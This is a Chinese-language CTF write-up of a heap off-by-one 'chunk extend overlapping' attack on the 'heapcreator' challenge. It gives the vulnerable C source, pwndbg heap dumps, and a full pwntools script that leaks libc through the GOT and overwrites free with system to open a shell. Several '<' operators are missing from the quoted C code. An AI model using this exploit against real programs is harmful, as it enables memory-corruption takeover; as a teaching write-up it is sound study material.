堆利用之Chunk extend Overlapping
堆利用之Chunk extend Overlapping
漏洞简介
chunk extend overlapping在堆中是一种比较常见的利用手段,其主要原理就是因为某些意外情况我们可以去修改一些已经申请或在空闲状态的堆块的大小,从而造成堆块重叠的情况,而这也就引发了一系列安全隐患。
Create函数
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i 10 ; i++){
if(!heaparray[i]){
heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
if(!heaparray[i]){
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
heaparray[i]->content = (char *)malloc(size);
if(!heaparray[i]->content){
puts("Allocate Error");
exit(2);
}
heaparray[i]->size = size ;
printf("Content of heap:");
read_input(heaparray[i]->content,size);
puts("SuccessFul");
break ;
}
}
}
heaparray数组是声明的heap结构体数组,其中的内容如下所示
struct heap {
size_t size ;
char *content ;
};
Edit函数
void edit_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
puts("Done !");
}else{
puts("No such heap !");
}
}
Show函数
继续往下Show函数打印对应结构体中content中存放的内容
void show_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
puts("Done !");
}else{
puts("No such heap !");
}
}
Delete函数
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]->content);
free(heaparray[idx]);
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
在delete函数中它是先将content申请的内存free掉再free的结构体内存,我们后面进行漏洞利用时这里会用到
漏洞利用
1、利用off by one漏洞完成堆重叠并构建含有/bin/sh的堆块
2、泄露出free函数并计算出libc基地址与system地址
def menu(index):
p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
menu(1)
p.sendlineafter("Size of Heap : ", str(heap_size))
p.sendlineafter("Content of heap:", content)
def Edit(index, content):
menu(2)
p.sendlineafter("Index :", str(index))
p.sendlineafter("Content of heap : ", content)
def Show(index):
menu(3)
p.sendlineafter("Index :", str(index))
def Free(index):
menu(4)
p.sendlineafter("Index :", str(index))
利用off-by-one完成extend overlapping:
在源码中我们发现了其存在off by one漏洞,我们就利用这个漏洞完成对堆块的extend overlapping
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 24
Content of heap:content1
SuccessFul
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 16
Content of heap:content2
SuccessFul
首先我们创建两个heap,然后ctrl+c,使用heap指令查看当前堆的状态
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
//struct1
Allocated chunk | PREV_INUSE
Addr: 0x603250
Size: 0x21
//struct1->content
Allocated chunk | PREV_INUSE
Addr: 0x603270
Size: 0x21
//stuct2
Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x21
//struct2->content
Allocated chunk | PREV_INUSE
Addr: 0x6032b0
Size: 0x21
//top chunk
Top chunk | PREV_INUSE
Addr: 0x6032d0
Size: 0x20d31
pwndbg> x/20gx 0x603250
0x603250: 0x0000000000000000 0x0000000000000021
0x603260: 0x0000000000000018 0x0000000000603280
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x31746e65746e6f63 0x000000000000000a
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000010 0x00000000006032c0
0x6032b0: 0x0000000000000000 0x0000000000000021
0x6032c0: 0x32746e65746e6f63 0x000000000000000a
0x6032d0: 0x0000000000000000 0x0000000000020d31
0x603250-0x603268 heap_struct1申请的内存
0x603270-0x603288 heap_stuct1->content申请的内存
0x603290-0x6032a8 heap_struct2申请的内存
0x6032b0-0x6032c8 heap_struct2->content申请的内存
0x603250中存放的是其前一个堆块的大小(prev_size)
0x603260-0x603268便是heap_struct1结构体存放的位置
继续执行程序,因为我们content1申请了24的内存,所以这里我们输入25个字符。
Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh.ljust(25, "A"))
这里将填充位改为使用"/bin/sh"是为了我们后续获取shell时用到
接下来我们需要free掉heap2(struct2跟struct->content)
free(heaparray[idx]->content);
free(heaparray[idx]);
Free(1)
Create(0x30, "content3")
可以看到我们这里已经成功完成了extend overlapping,并且都被存放在了tcache中,继续执行程序
可以看到这里我们已经成功创建了struct3与struct3->content的内存,这样看可能不是很明显,我在这里详细说明一下
0x22d5290-0x22d52c8 是struct3->content的内存区域
0x22d52b0-0x22d52c8 是struct3的结构体申请的内存区域
0x22d52d0-0x22d52d8 是arena的所属内存区域(即top chunk)
要达到这步我们现在只需要通过edit函数将struct3结构体中content指针的地址改为free_got的地址,并使用show函数打印出真实地址即可
Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))
Show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)
而我们当有了free函数的基地址,就能求出libc与system的地址了
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))
Edit(1, p64(system_addr))
Free(0)
然后我们就能执行system("/bin/sh")获得shell
from pwn import *
import time
def menu(index):
p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
menu(1)
p.sendlineafter("Size of Heap : ", str(heap_size))
p.sendlineafter("Content of heap:", content)
def Edit(index, content):
menu(2)
p.sendlineafter("Index :", str(index))
p.sendlineafter("Content of heap : ", content)
def Show(index):
menu(3)
p.sendlineafter("Index :", str(index))
def Free(index):
menu(4)
p.sendlineafter("Index :", str(index))
def debug():
gdb.attach(p)
p = process('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./heapcreator')
free_got = elf.got['free']
Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh.ljust(25, "A"))
Free(1)
Create(0x30, "content3")
Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))
Show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))
Edit(1, p64(system_addr))
debug()
Free(0)
p.interactive()
参考链接
https://blog.csdn.net/qq_41202237/article/details/108320408
https://blog.csdn.net/weixin_43921239/article/details/107841328